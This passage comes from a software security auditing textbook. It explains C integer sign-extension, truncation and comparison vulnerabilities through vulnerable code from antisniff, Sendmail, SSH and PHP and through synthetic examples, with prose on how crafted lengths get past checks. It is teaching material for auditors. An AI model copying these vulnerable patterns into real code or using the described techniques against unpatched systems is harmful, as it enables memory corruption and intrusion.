coerce the program into passing in a negative value, the function interprets it as a 

large value, which could lead to an exploitable condition. 

Also, look for places where length parameters are read from the network directly or 

are specified by users via some input mechanism. If the length is interpreted as a 

signed variable in parts of the code, you should evaluate the impact of a user 

supplying a negative value. 

As you review functions in an application, it's a good idea to note the data types of 

each function's arguments in your function audit log. This way, every time you audit 

a subsequent call to that function, you can simply compare the types and examine the 

type conversion tables in this chapter's "Type Conversions(? [????.])" section to 

predict exactly what's going to happen and the implications of that conversion. You 

learn more about analyzing functions and keeping logs of function prototypes and 

behavior in Chapter 7(? [????.]), "Program Building Blocks." 

 

 

Sign Extension 

Sign extension occurs when a smaller signed integer type is converted to a larger type, 

and the machine propagates the sign bit of the smaller type through the unused bits 

of the larger type. The intent of sign extension is that the conversion is 

value-preserving when going from a smaller signed type to a larger signed type. 

As you know, sign extension can occur in several ways. First, if a simple conversion is 

made from a small signed type to a larger type, with a typecast, assignment, or 

function call, sign extension occurs. You also know that sign extension occurs if a 

signed type smaller than an integer is promoted via the integer promotions. Sign 

extension could also occur as a result of the usual arithmetic conversions applied after 

integer promotions because a signed integer type could be promoted to a larger type, 

such as long long. 

Sign extension is a natural part of the language, and it's necessary for 

value-preserving promotions of integers. So why is it mentioned as a security issue? 

There are two reasons: 

 In certain cases, sign extension is a value-changing conversion that has an 

unexpected result. 
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 Programmers consistently forget that the char and short types they use are 

signed! 

To examine the first reason, if you recall from the conversion section, one of the more 

interesting findings was that sign extension is performed if a smaller signed type is 

converted into a larger unsigned type. Say a programmer does something like this: 

char len; 

 

len=get_len_field(); 

snprintf(dst, len, "%s", src); 

 

This code has disaster written all over it. If the result of get_len_field() is such that 

len has a value less than 0, that negative value is passed as the length argument to 

snprintf(). Say the programmer tries to fix this error and does the following: 

char len; 

 

len=get_len_field(); 

snprintf(dst, (unsigned int)len, "%s", src); 

 

This solution sort of makes sense. An unsigned integer can't be negative, right? 

Unfortunately, sign extension occurs during the conversion from char to unsigned int, 

so the attempt to get rid of characters less than 0 backfired. If len happens to be 

below 0, (unsigned int)len ends up with a large value. 

This example might seem somewhat arbitrary, but it's similar to an actual bug the 

authors recently discovered in a client's code. The moral of the story is that you 

should always remember sign extension is applied when converting from a smaller 

signed type to a larger unsigned type. 

Now for the second reasonprogrammers consistently forget that the char and short 

types they use are signed. This statement rings quite true, especially in network code 

that deals with signed integer lengths or code that processes binary or text data one 

character at a time. Take a look at a real-world vulnerability in the DNS 

packet-parsing code of l0pht's antisniff tool 

(http://packetstormsecurity.org/sniffers/antisniff/). It's an excellent bug for 

demonstrating some vulnerabilities that have been discussed. A buffer overflow was 

first discovered in the software involving the improper use of strncat(), and after that 

vulnerability was patched, researchers from TESO discovered that it was still 

vulnerable because of a sign-extension issue. The fix for the sign-extension issue 

wasn't correct, and yet another vulnerability was published. The following examples 

take you through the timeline of this vulnerability. 

http://packetstormsecurity.org/sniffers/antisniff/
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Listing 6-8 contains the slightly edited vulnerable code from version 1 of the antisniff 

research release, in the raw_watchdns.c file in the watch_dns_ptr() function. 

Listing 6-8. Antisniff v1.0 Vulnerability 

  char *indx; 

  int count; 

  char nameStr[MAX_LEN]; //256 

... 

  memset(nameStr, '\0', sizeof(nameStr)); 

... 

  indx = (char *)(pkt + rr_offset); 

  count = (char)*indx; 

 

  while (count){ 

    (char *)indx++; 

    strncat(nameStr, (char *)indx, count); 

    indx += count; 

    count = (char)*indx; 

    strncat(nameStr, ".", 

            sizeof(nameStr)  strlen(nameStr)); 

  } 

  nameStr[strlen(nameStr)-1] = '\0'; 

 

Before you can understand this code, you need a bit of background. The purpose of 

the watch_dns_ptr() function is to extract the domain name from the packet and copy 

it into the nameStr string. The DNS domain names in DNS packets sort of resemble 

Pascal strings. Each label in the domain name is prefixed by a byte containing its 

length. The domain name ends when you reach a label of size 0. (The DNS 

compression scheme isn't relevant to this vulnerability.) Figure 6-8 shows what a 

DNS domain name looks like in a packet. There are three labelstest, jim, and comand 

a 0-length label specifying the end of the name. 

Figure 6-8. Sample DNS domain name 
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The code starts by reading the first length byte from the packet and storing it in the 

integer count. This length byte is a signed character stored in an integer, so you 

should be able to put any value you like between -128 and 127 in count. Keep this in 

mind for later. 

The while() loop keeps reading in labels and calling strncat() on them to the nameStr 

string. The first vulnerability that was published is no length check in this loop. If you 

just provide a long enough domain name in the packet, it could write past the bounds 

of nameStr[]. Listing 6-9 shows how this issue was fixed in version 1.1 of the research 

version. 

Listing 6-9. Antisniff v1.1 Vulnerability 

  char *indx; 

  int count; 

  char nameStr[MAX_LEN]; //256 

... 

  memset(nameStr, '\0', sizeof(nameStr)); 

... 

  indx = (char *)(pkt + rr_offset); 

  count = (char)*indx; 

 

  while (count){ 

    if (strlen(nameStr) + count < ( MAX_LEN - 1) ){ 

      (char *)indx++; 

      strncat(nameStr, (char *)indx, count); 

      indx += count; 

      count = (char)*indx; 

      strncat(nameStr, ".", 

              sizeof(nameStr)  strlen(nameStr)); 

    } else { 

      fprintf(stderr, "Alert! Someone is attempting " 

                      "to send LONG DNS packets\n"); 

      count = 0; 

    } 

 

 } 

 nameStr[strlen(nameStr)-1] = '\0'; 

 

The code is basically the same, but length checks have been added to try to prevent 

the buffer from being overflowed. At the top of the loop, the program checks to make 

sure there's enough space in the buffer for count bytes before it does the string 

concatenation. Now examine this code with sign-extension vulnerabilities in mind. 
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You know that count can be any value between -128 and 127, so what happens if you 

give a negative value for count? Look at the length check: 

if (strlen(nameStr) + count < ( MAX_LEN - 1) ){ 

 

You know that strlen(nameStr) is going to return a size_t, which is effectively an 

unsigned int on a 32-bit system, and you know that count is an integer below 0. Say 

you've been through the loop once, and strlen(nameStr) is 5, and count is -1. For the 

addition, count is converted to an unsigned integer, and you have (5 + 

4,294,967,295). This addition can easily cause a numeric overflow so that you end up 

with a small value, such as 4; 4 is less than (MAX_LEN - 1), which is 256. So far, so 

good. Next, you see that count (which you set to -1), is passed in as the length 

argument to strncat(). The strncat() function takes a size_t, so it interprets that as 

4,294,967,295. Therefore, you win again because you can essentially append as 

much information as you want to the nameStr string. 

Listing 6-10 shows how this vulnerability was fixed in version 1.1.1 of the research 

release. 

Listing 6-10. Antisniff v1.1.1 Vulnerability 

char *indx; 

  int count; 

  char nameStr[MAX_LEN]; //256 

... 

  memset(nameStr, '\0', sizeof(nameStr)); 

... 

  indx = (char *)(pkt + rr_offset); 

  count = (char)*indx; 

 

  while (count){ 

     /* typecast the strlen so we aren't dependent on 

        the call to be properly setting to unsigned. */ 

     if ((unsigned int)strlen(nameStr) + 

        (unsigned int)count < ( MAX_LEN - 1) ){ 

      (char *)indx++; 

      strncat(nameStr, (char *)indx, count); 

      indx += count; 

      count = (char)*indx; 

      strncat(nameStr, ".", 

              sizeof(nameStr)  strlen(nameStr)); 

    } else { 

      fprintf(stderr, "Alert! Someone is attempting " 

                      "to send LONG DNS packets\n"); 
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      count = 0; 

    } 

 

 } 

 nameStr[strlen(nameStr)-1] = '\0'; 

 

This solution is basically the same code, except some typecasts have been added to 

the length check. Take a closer look: 

if ((unsigned int)strlen(nameStr) + 

    (unsigned int)count < ( MAX_LEN - 1) ){ 

 

The result of strlen() is typecast to an unsigned int, which is superfluous because it's 

already a size_t. Then count is typecast to an unsigned int. This is also superfluous, 

as it's normally converted to an unsigned integer type by the addition operator. In 

essence, nothing has changed. You can still send a negative label length and bypass 

the length check! Listing 6-11 shows how this problem was fixed in version 1.1.2. 

Listing 6-11. Antisniff v1.1.2 Vulnerability 

  unsigned char *indx; 

  unsigned int count; 

  unsigned char nameStr[MAX_LEN]; //256 

... 

  memset(nameStr, '\0', sizeof(nameStr)); 

... 

  indx = (char *)(pkt + rr_offset); 

  count = (char)*indx; 

 

  while (count){ 

    if (strlen(nameStr) + count < ( MAX_LEN - 1) ){ 

      indx++; 

      strncat(nameStr, indx, count); 

      indx += count; 

      count = *indx; 

      strncat(nameStr, ".", 

              sizeof(nameStr)  strlen(nameStr)); 

  } else { 

    fprintf(stderr, "Alert! Someone is attempting " 

                    "to send LONG DNS packets\n"); 

    count = 0; 

  } 
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 } 

 nameStr[strlen(nameStr)-1] = '\0'; 

 

The developers have changed count, nameStr, and indx to be unsigned and changed 

back to the previous version's length check. So the sign extension you were taking 

advantage of now appears to be gone because the character pointer, indx, is now an 

unsigned type. However, take a closer look at this line: 

count = (char)*indx; 

 

This code line dereferences indx, which is an unsigned char pointer. This gives you an 

unsigned character, which is then explicitly converted into a signed char. You know 

the bit pattern won't change, so you're back to something with a range of -128 to 127. 

It's assigned to an unsigned int, but you know that converting from a smaller signed 

type to a larger unsigned type causes sign extension. So, because of the typecast to 

(char), you still can get a maliciously large count into the loop, but only for the first 

label. Now look at that length check with this in mind: 

if (strlen(nameStr) + count < ( MAX_LEN - 1) ){ 

 

Unfortunately, strlen(nameStr) is 0 when you enter the loop for the first time. So the 

rather large value of count won't be less than (MAX_LEN - 1), and you get caught and 

kicked out of the loop. Close, but no cigar. Amusingly, if you do get kicked out on your 

first trip into the loop, the program does the following: 

nameStr[strlen(nameStr)-1] = '\0'; 

 

Because strlen(nameStr) is 0, that means it writes a 0 at 1 byte behind the buffer, at 

nameStr[-1]. Now that you've seen the evolution of the fix from the vantage point of 

20-20 hindsight, take a look at Listing 6-12, which is an example based on a short 

integer data type. 

Listing 6-12. Sign Extension Vulnerability Example 

 

unsigned short read_length(int sockfd) 

{ 

    unsigned short len; 

 

    if(full_read(sockfd, (void *)&len, 2) != 2) 
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        die("could not read length!\n"); 

 

    return ntohs(len); 

} 

 

int read_packet(int sockfd) 

{ 

    struct header hdr; 

    short length; 

    char *buffer; 

 

    length = read_length(sockfd); 

 

    if(length > 1024){ 

        error("read_packet: length too large: %d\n", length); 

        return 1; 

    } 

 

    buffer = (char *)malloc(length+1); 

    if((n = read(sockfd, buffer, length) < 0){ 

        error("read: %m"); 

        free(buffer); 

        return 1; 

    } 

 

    buffer[n] = '\0'; 

 

    return 0; 

} 

 

Several concepts you've explored in this chapter are in effect here. First, the result of 

the read_length() function, an unsigned short int, is converted into a signed short int 

and stored in length. In the following length check, both sides of the comparison are 

promoted to integers. If length is a negative number, it passes the check that tests 

whether it's greater than 1024. The next line adds 1 to length and passes it as the first 

argument to malloc(). The length parameter is again sign-extended because it's 

promoted to an integer for the addition. Therefore, if the specified length is 0xFFFF, 

it's sign-extended to 0xFFFFFFFF. The addition of this value plus 1 wraps around to 0, 

and malloc(0) potentially returns a small chunk of memory. Finally, the call to read() 

causes the third argument, the length parameter, to be converted directly from a 

signed short int to a size_t. Sign extension occurs because it's a case of a smaller 

signed type being converted to a larger unsigned type. Therefore, the call to read 
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allows you to read a large number of bytes into the buffer, resulting in a potential 

buffer overflow. 

Another quintessential example of a place where programmers forget whether small 

types are signed occurs with use of the ctype libc functions. Consider the toupper() 

function, which has the following prototype: 

int toupper(int c); 

 

The toupper() function works on most libc implementations by searching for the 

correct answer in a lookup table. Several libcs don't handle a negative argument 

correctly and index behind the table in memory. The following definition of toupper() 

isn't uncommon: 

int toupper(int c) 

{ 

    return _toupper_tab[c]; 

} 

 

Say you do something like this: 

void upperize(char *str) 

{ 

  while (*str) 

  { 

    *str = toupper(*str); 

    str++; 

  } 

} 

 

If you have a libc implementation that doesn't have a robust toupper() function, you 

could end up making some strange changes to your string. If one of the characters is 

-1, it gets converted to an integer with the value -1, and the toupper() function 

indexes behind its table in memory. 

Take a look at a final real-world example of programmers not considering sign 

extension. Listing 6-13 is a Sendmail vulnerability that security researcher Michael 

Zalewski discovered (www.cert.org/advisories/CA-2003-12.html). It's from 

Sendmail version 8.12.3 in the prescan() function, which is primarily responsible for 

parsing e-mail addresses into tokens (from sendmail/parseaddr.c). The code has 

been edited for brevity. 

http://www.cert.org/advisories/CA-2003-12.html
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Listing 6-13. Prescan Sign Extension Vulnerability in Sendmail 

register char *p; 

register char *q; 

register int c; 

... 

p = addr; 

 

    for (;;) 

    { 

        /* store away any old lookahead character */ 

        if (c != NOCHAR && !bslashmode) 

        { 

            /* see if there is room */ 

            if (q >= &pvpbuf[pvpbsize - 5]) 

            { 

                usrerr("553 5.1.1 Address too long"); 

                if (strlen(addr) > MAXNAME) 

                    addr[MAXNAME] = '\0'; 

returnnull: 

                if (delimptr != NULL) 

                    *delimptr = p; 

                CurEnv->e_to = saveto; 

                return NULL; 

            } 

 

            /* squirrel it away */ 

            *q++ = c; 

         } 

 

         /* read a new input character */ 

         c = *p++; 

 

         .. 

 

         /* chew up special characters */ 

         *q = '\0'; 

         if (bslashmode) 

         { 

             bslashmode = false; 

 

             /* kludge \! for naive users */ 

             if (cmntcnt > 0) 

             { 

                 c = NOCHAR; 
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                 continue; 

             } 

             else if (c != '!' || state == QST) 

             { 

                 *q++ = '\\'; 

                 continue; 

             } 

        } 

 

        if (c == '\\') 

            bslashmode = true; 

    } 

 

The NOCHAR constant is defined as -1 and is meant to signify certain error conditions 

when characters are being processed. The p variable is processing a user-supplied 

address and exits the loop shown when a complete token has been read. There's a 

length check in the loop; however, it's examined only when two conditions are true: 

when c is not NOCHAR (that is, c != -1) and bslashmode is false. The problem is this line: 

c = *p++; 

 

Because of the sign extension of the character that p points to, users can specify the 

char 0xFF and have it extended to 0xFFFFFFFF, which is NOCHAR. If users supply a 

repeating pattern of 0x2F (backslash character) followed by 0xFF, the loop can run 

continuously without ever performing the length check at the top. This causes 

backslashes to be written continually into the destination buffer without checking 

whether enough room is left. Therefore, because of the character being 

sign-extended when stored in the variable c, an unexpected code path is triggered 

that results in a buffer overflow. 

This vulnerability also reinforces another principle stated at the beginning of this 

chapter. Implicit actions performed by the compiler are subtle, and when reviewing 

source code, you need to examine the implications of type conversions and anticipate 

how the program will deal with unexpected values (in this case, the NOCHAR value, 

which users can specify because of the sign extension). 

Sign extension seems as though it should be ubiquitous and mostly harmless in C 

code. However, programmers rarely intend for their smaller data types to be 

sign-extended when they are converted, and the presence of sign extension often 

indicates a bug. Sign extension is somewhat difficult to locate in C, but it shows up 

well in assembly code as the movsx instruction. Try to practice searching through 
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assembly for sign-extension conversions and then relating them back to the source 

code, which is a useful technique. 

As a brief demonstration, compare Listings 6-14 and 6-15. 

Listing 6-14. Sign-Extension Example 

unsigned int l; 

char c=5; 

l= 

 

Listing 6-15. Zero-Extension Example 

unsigned int l; 

unsigned char c=5; 

l= 

 

Assuming the implementation calls for signed characters, you know that sign 

extension will occur in Listing 6-14 but not in Listing 6-15. Compare the generated 

assembly code, reproduced in Table 6-8. 

Table 6-8. Sign Extension Versus Zero Extension in Assembly Code 

Listing 6-14: Sign Extension Listing 6-15: Zero Extension 

mov [ebp+var_5], 5 mov [ebp+var_5], 5 

movsx eax, [ebp+var_5] xor eax, eax 

    mov al, [ebp+var_5] 

mov [ebp+var_4], eax mov [ebp+var_4], eax 

 

You can see that in the sign-extension example, the movsx instruction is used. In the 

zero-extension example, the compiler first clears the register with xor eax, eax and 

then moves the character byte into that register. 

Auditing Tip: Sign Extension 

When looking for vulnerabilities related to sign extensions, you should focus on code 

that handles signed character values or pointers or signed short integer values or 

pointers. Typically, you can find them in string-handling code and network code that 

decodes packets with length elements. In general, you want to look for code that 

takes a character or short integer and uses it in a context that causes it to be 

converted to an integer. Remember that if you see a signed character or signed short 

converted to an unsigned integer, sign extension still occurs. 
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As mentioned previously, one effective way to find sign-extension vulnerabilities is to 

search the assembly code of the application binary for the movsx instruction. This 

technique can often help you cut through multiple layers of typedefs, macros, and 

type conversions when searching for potentially vulnerable locations in code. 

 

 

Truncation 

Truncation occurs when a larger type is converted into a smaller type. Note that the 

usual arithmetic conversions and the integral promotions never really call for a large 

type to be converted to a smaller type. Therefore, truncation can occur only as the 

result of an assignment, a typecast, or a function call involving a prototype. Here's a 

simple example of truncation: 

int g = 0x12345678; 

short int h; 

h = g; 

 

When g is assigned to h, the top 16 bits of the value are truncated, and h has a value 

of 0x5678. So if this data loss occurs in a situation the programmer didn't expect, it 

could certainly lead to security failures. Listing 6-16 is loosely based on a historic 

vulnerability in Network File System (NFS) that involves integer truncation. 

Listing 6-16. Truncation Vulnerability Example in NFS 

void assume_privs(unsigned short uid) 

{ 

    seteuid(uid); 

    setuid(uid); 

} 

 

int become_user(int uid) 

{ 

    if (uid == 0) 

        die("root isnt allowed"); 

 

    assume_privs(uid); 

} 

 

To be fair, this vulnerability is mostly known of anecdotally, and its existence hasn't 

been verified through source code. NFS forbids users from mounting a disk remotely 

with root privileges. Eventually, attackers figured out that they could specify a UID of 
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65536, which would pass the security checks that prevent root access. However, this 

UID would get assigned to an unsigned short integer and be truncated to a value of 0. 

Therefore, attackers could assume root's identity of UID 0 and bypass the protection. 

Take a look at one more synthetic vulnerability in Listing 6-17 before looking at a 

real-world truncation issue. 

Listing 6-17. Truncation Vulnerabilty Example 

unsigned short int f; 

char mybuf[1024]; 

char *userstr=getuserstr(); 

 

f=strlen(userstr); 

if (f > sizeof(mybuf)-5) 

  die("string too long!"); 

strcpy(mybuf, userstr); 

 

The result of the strlen() function, a size_t, is converted to an unsigned short. If a 

string is 66,000 characters long, truncation would occur and f would have the value 

464. Therefore, the length check protecting strcpy() would be circumvented, and a 

buffer overflow would occur. 

A show-stopping bug in most SSH daemons was caused by integer truncation. 

Ironically, the vulnerable code was in a function designed to address another security 

hole, the SSH insertion attack identified by CORE-SDI. Details on that attack are 

available at www1.corest.com/files/files/11/CRC32.pdf. 

The essence of the attack is that attackers can use a clever known plain-text attack 

against the block cipher to insert small amounts of data of their choosing into the SSH 

stream. Normally, this attack would be prevented by message integrity checks, but 

SSH used CRC32, and the researchers at CORE-SDI figured out how to circumvent it 

in the context of the SSH protocol. 

The responsibility of the function containing the truncation vulnerability is to 

determine whether an insertion attack is occurring. One property of these insertion 

attacks is a long sequence of similar bytes at the end of the packet, with the purpose 

of manipulating the CRC32 value so that it's correct. The defense that was engineered 

was to search for repeated blocks in the packet, and then do the CRC32 calculation up 

to the point of repeat to determine whether any manipulation was occurring. This 

method was easy for small packets, but it could have a performance impact on large 

sets of data. So, presumably to address the performance impact, a hashing scheme 

was used. 

http://www1.corest.com/files/files/11/CRC32.pdf
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The function you're about to look at has two separate code paths. If the packet is 

below a certain size, it performs a direct analysis of the data. If it's above that size, it 

uses a hash table to make the analysis more efficient. It isn't necessary to understand 

the function to appreciate the vulnerability. If you're curious, however, you'll see that 

the simpler case for the smaller packets has roughly the algorithm described in Listing 

6-18. 

Listing 6-18. Detect_attack Small Packet Algorithm in SSH 

 

for c = each 8 byte block of the packet 

    if c is equal to the initialization vector block 

        check c for the attack. 

        If the check succeeds, return DETECTED. 

        If the check fails, you aren't under attack so return OK. 

    for d = each 8 byte block of the packet before c 

        If d is equal to c, check c for the attack. 

            If the check succeeds, return DETECTED. 

            If the check fails, break out of the d loop. 

    next d 

next c 

 

The code goes through each 8-byte block of the packet, and if it sees an identical 

block in the packet before the current one, it does a check to see whether an attack 

is underway. 

The hash-table-based path through the code is a little more complex. It has the same 

general algorithm, but instead of comparing a bunch of 8-byte blocks with each other, 

it takes a 32 bit hash of each block and compares them. The hash table is indexed by 

the 32-bit hash of the 8-byte block, modulo the hash table size, and the bucket 

contains the position of the block that last hashed to that bucket. The truncation 

problem happened in the construction and management of the hash table. Listing 

6-19 contains the beginning of the code. 

Listing 6-19. Detect_attack Truncation Vulnerability in SSH 

/* Detect a crc32 compensation attack on a packet */ 

int 

detect_attack(unsigned char *buf, u_int32_t len, 

              unsigned char *IV) 

{ 

    static u_int16_t *h = (u_int16_t *) NULL; 

    static u_int16_t n = HASH_MINSIZE / HASH_ENTRYSIZE; 

    register u_int32_t i, j; 
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    u_int32_t l; 

    register unsigned char *c; 

    unsigned char *d; 

 

    if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) || 

        len % SSH_BLOCKSIZE != 0) { 

        fatal("detect_attack: bad length %d", len); 

    } 

 

First, the code checks whether the packet is overly long or isn't a multiple of 8 bytes. 

SSH_MAXBLOCKS is 32,768 and BLOCKSIZE is 8, so the packet can be as large as 262,144 

bytes. In the following code, n starts out as HASH_MINSIZE / HASH_ENTRYSIZE, which is 

8,192 / 2, or 4,096, and its purpose is to hold the number of entries in the hash table: 

for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l = l << 2) 

       ; 

 

The starting size of the hash table is 8,192 elements. This loop attempts to determine 

a good size for the hash table. It starts off with a guess of n, which is the current size, 

and it checks to see whether it's big enough for the packet. If it's not, it quadruples l 

by shifting it left twice. It decides whether the hash table is big enough by making 

sure there are 3/2 the number of hash table entries as there are 8-byte blocks in the 

packet. HASH_FACTOR is defined as ((x)*3/2). The following code is the interesting 

part: 

if (h == NULL) { 

    debug("Installing crc compensation " 

          "attack detector."); 

    n = l; 

    h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE); 

} else { 

    if (l > n) { 

        n = l; 

        h = (u_int16_t *)xrealloc(h, n * HASH_ENTRYSIZE); 

    } 

} 

 

If h is NULL, that means it's your first time through this function and you need to 

allocate space for a new hash table. If you remember, l is the value calculated as the 

right size for the hash table, and n contains the number of entries in the hash table. 

If h isn't NULL, the hash table has already been allocated. However, if the hash table 
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isn't currently big enough to agree with the newly calculated l, you go ahead and 

reallocate it. 

You've looked at enough code so far to see the problem: n is an unsigned short int. If 

you send a packet that's big enough, l, an unsigned int, could end up with a value 

larger than 65,535, and when the assignment of l to n occurs, truncation could result. 

For example, assume you send a packet that's 262,144 bytes. It passes the first 

check, and then in the loop, l changes like so: 

Iteration 1: l = 4096    l <  49152   l<<=4 

Iteration 2: l = 16384   l <  49152   l<<=4 

Iteration 3: l = 65536   l >= 49152 

 

When l, with a value of 65,536, is assigned to n, the top 16 bits are truncated, and n 

ends up with a value of 0. On several modern OSs, a malloc() of 0 results in a valid 

pointer to a small object being returned, and the rest of the function's behavior is 

extremely suspect. 

The next part of the function is the code that does the direct analysis, and because it 

doesn't use the hash table, it isn't of immediate interest: 

    if (len <= HASH_MINBLOCKS) { 

        for (c = buf; c < buf + len; c += SSH_BLOCKSIZE) { 

            if (IV && (!CMP(c, IV))) { 

                if ((check_crc(c, buf, len, IV))) 

                    return (DEATTACK_DETECTED); 

                else 

                    break; 

            } 

            for (d = buf; d < c; d += SSH_BLOCKSIZE) { 

                if (!CMP(c, d)) { 

                    if ((check_crc(c, buf, len, IV))) 

                    return (DEATTACK_DETECTED); 

                else 

                    break; 

               } 

           } 

       } 

       return (DEATTACK_OK); 

    } 

 

Next is the code that performs the hash-based detection routine. In the following 

code, keep in mind that n is going to be 0 and h is going to point to a small but valid 
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object in the heap. With these values, it's possible to do some interesting things to the 

process's memory: 

    memset(h, HASH_UNUSEDCHAR, n * HASH_ENTRYSIZE); 

 

    if (IV) 

        h[HASH(IV) & (n - 1)] = HASH_IV; 

 

    for (c = buf, j = 0; c < (buf + len); c += SSH_BLOCKSIZE, j++) { 

        for (i = HASH(c) & (n - 1); h[i] != HASH_UNUSED; 

             i = (i + 1) & (n - 1)) { 

            if (h[i] == HASH_IV) { 

                if (!CMP(c, IV)) { 

                    if (check_crc(c, buf, len, IV)) 

                        return (DEATTACK_DETECTED); 

                    else 

                        break; 

                 } 

             } else if (!CMP(c, buf + h[i] * SSH_BLOCKSIZE)) { 

                 if (check_crc(c, buf, len, IV)) 

                     return (DEATTACK_DETECTED); 

                 else 

                     break; 

             } 

          } 

          h[i] = j; 

       } 

    return (DEATTACK_OK); 

} 

 

If you don't see an immediate way to attack this loop, don't worry. (You are in good 

company, and also some critical macro definitions are missing.) This bug is extremely 

subtle, and the exploits for it are complex and clever. In fact, this vulnerability is 

unique from many perspectives. It reinforces the notion that secure programming is 

difficult, and everyone can make mistakes, as CORE-SDI is easily one of the world's 

most technically competent security companies. It also demonstrates that sometimes 

a simple black box test can uncover bugs that would be hard to find with a source 

audit; the discoverer, Michael Zalewski, located this vulnerability in a stunningly 

straightforward fashion (ssh -l long_user_name). Finally, it highlights a notable case 

in which writing an exploit can be more difficult than finding its root vulnerability. 

Auditing Tip: Truncation 
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Truncation-related vulnerabilities are typically found where integer values are 

assigned to smaller data types, such as short integers or characters. To find 

truncation issues, look for locations where these shorter data types are used to track 

length values or to hold the result of a calculation. A good place to look for potential 

variables is in structure definitions, especially in network-oriented code. 

Programmers often use a short or character data type just because the expected 

range of values for a variable maps to that data type nicely. Using these data types 

can often lead to unanticipated truncations, however. 

 

 

Comparisons 

You've already seen examples of signed comparisons against negative numbers in 

length checks and how they can lead to security exposures. Another potentially 

hazardous situation is comparing two integers that have different types. As you've 

learned, when a comparison is made, the compiler first performs integer promotions 

on the operands and then follows the usual arithmetic conversions on the operands so 

that a comparison can be made on compatible types. Because these promotions and 

conversions might result in value changes (because of sign change), the comparison 

might not be operating exactly as the programmer intended. Attackers can take 

advantage of these conversions to circumvent security checks and often compromise 

an application. 

To see how comparisons can go wrong, take a look at Listing 6-20. This code reads a 

short integer from the network, which specifies the length of an incoming packet. The 

first half of the length check compares (length sizeof(short)) with 0 to make sure 

the specified length isn't less than sizeof(short). If it is, it could wrap around to a 

large integer when sizeof(short) is subtracted from it later in the read() statement. 

Listing 6-20. Comparison Vulnerability Example 

#define MAX_SIZE 1024 

 

int read_packet(int sockfd) 

{ 

    short length; 

    char buf[MAX_SIZE]; 

 

    length = network_get_short(sockfd); 

 

    if(length  sizeof(short) <= 0 || length > MAX_SIZE){ 

        error("bad length supplied\n"); 

        return 1; 
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    } 

 

    if(read(sockfd, buf, length sizeof(short)) < 0){ 

        error("read: %m\n"); 

        return 1; 

    } 

 

    return 0; 

} 

 

The first check is actually incorrect. Note that the result type of the sizeof operator is 

a size_t, which is an unsigned integer type. So for the subtraction of (length - 

sizeof(short)), length is first promoted to a signed int as part of the integer 

promotions, and then converted to an unsigned integer type as part of the usual 

arithmetic conversions. The resulting type of the subtraction operation is an unsigned 

integer type. Consequently, the result of the subtraction can never be less than 0, and 

the check is effectively inoperative. Providing a value of 1 for length evades the very 

condition that the length check in the first half of the if statement is trying to protect 

against and triggers an integer underflow in the call to read(). 

More than one value can be supplied to evade both checks and trigger a buffer 

overflow. If length is a negative number, such as 0xFFFF, the first check still passes 

because the result type of the subtraction is always unsigned. The second check also 

passes (length > MAX_SIZE) because length is promoted to a signed int for the 

comparison and retains its negative value, which is less than MAX_SIZE (1024). This 

result demonstrates that the length variable is treated as unsigned in one case and 

signed in another case because of the other operands used in the comparison. 

When dealing with data types smaller than int, integer promotions cause narrow 

values to become signed integers. This is a value-preserving promotion and not much 

of a problem in itself. However, sometimes comparisons can be promoted to a signed 

type unintentionally. Listing 6-21 illustrates this problem. 

Listing 6-21. Signed Comparison Vulnerability 

int read_data(int sockfd) 

{ 

    char buf[1024]; 

    unsigned short max = sizeof(buf); 

    short length; 

 

    length = get_network_short(sockfd); 
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    if(length > max){ 

        error("bad length: %d\n", length); 

        return 1; 

    } 

 

    if(read(sockfd, buf, length) < 0){ 

        error("read: %m"); 

        return 1; 

    } 

 

    ... process data ... 

 

    return 0; 

} 

 

Listing 6-21 illustrates why you must be aware of the resulting data type used in a 

comparison. Both the max and length variables are short integers and, therefore, go 

through integer conversions; both get promoted to signed integers. This means any 

negative value supplied in length evades the length check against max. Because of 

data type conversions performed in a comparison, not only can sanity checks be 

evaded, but the entire comparison could be rendered useless because it's checking 

for an impossible condition. Consider Listing 6-22. 

Listing 6-22. Unsigned Comparison Vulnerability 

int get_int(char *data) 

{ 

    unsigned int n = atoi(data); 

 

    if(n < 0 || n > 1024) 

        return 1; 

    return n; 

} 

int main(int argc, char **argv) 

{ 

    unsigned long n; 

    char buf[1024]; 

 

    if(argc < 2) 

       exit(0); 

 

    n = get_int(argv[1]); 

 



The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 285 

    if(n < 0){ 

        fprintf(stderr, "illegal length specified\n"); 

        exit(-1); 

    } 

 

    memset(buf, 'A', n); 

 

    return 0; 

} 

 

Listing 6-22 checks the variable n to make sure it falls within the range of 0 to 1024. 

Because the variable n is unsigned, however, the check for less than 0 is impossible. 

An unsigned integer can never be less than 0 because every value that can be 

represented is positive. The potential vulnerability is somewhat subtle; if attackers 

provide an invalid integer as argv[1], get_int() returns a -1, which is converted to an 

unsigned long when assigned to n. Therefore, it would become a large value and end 

up causing memset() to crash the program. 

Compilers can detect conditions that will never be true and issue a warning if certain 

flags are passed to it. See what happens when the preceding code is compiled with 

GCC: 

[root@doppelganger root]# gcc -Wall -o example example.c 

[root@doppelganger root]# gcc -W -o example example.c 

example.c: In function 'get_int': 

example.c:10: warning: comparison of unsigned expression < 0 is always 

                       false 

example.c: In function 'main': 

example.c:25: warning: comparison of unsigned expression < 0 is always 

                       false 

[root@doppelganger root]# 

 

Notice that the -Wall flag doesn't warn about this type of error as most developers 

would expect. To generate a warning for this type of bug, the -W flag must be used. If 

the code if(n < 0) is changed to if(n <= 0), a warning isn't generated because the 

condition is no longer impossible. Now take a look at a real-world example of a similar 

mistake. Listing 6-23 is taken from the PHP Apache module (4.3.4) when reading POST 

data. 

Listing 6-23. Signed Comparison Example in PHP 

/* {{{ sapi_apache_read_post 

 */ 
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static int sapi_apache_read_post(char *buffer, 

                                 uint count_bytes TSRMLS_DC) 

{ 

    uint total_read_bytes=0, read_bytes; 

    request_rec *r = (request_rec *) SG(server_context); 

    void (*handler)(int); 

 

    /* 

     * This handles the situation where the browser sends a 

     * Expect: 100-continue header and needs to receive 

     * confirmation from the server on whether or not it 

     * can send the rest of the request. RFC 2616 

     * 

     */ 

    if (!SG(read_post_bytes) && !ap_should_client_block(r)) { 

        return total_read_bytes; 

    } 

 

    handler = signal(SIGPIPE, SIG_IGN); 

    while (total_read_bytes<count_bytes) { 

        /* start timeout timer */ 

        hard_timeout("Read POST information", r); 

        read_bytes = get_client_block(r, 

                       buffer + total_read_bytes, 

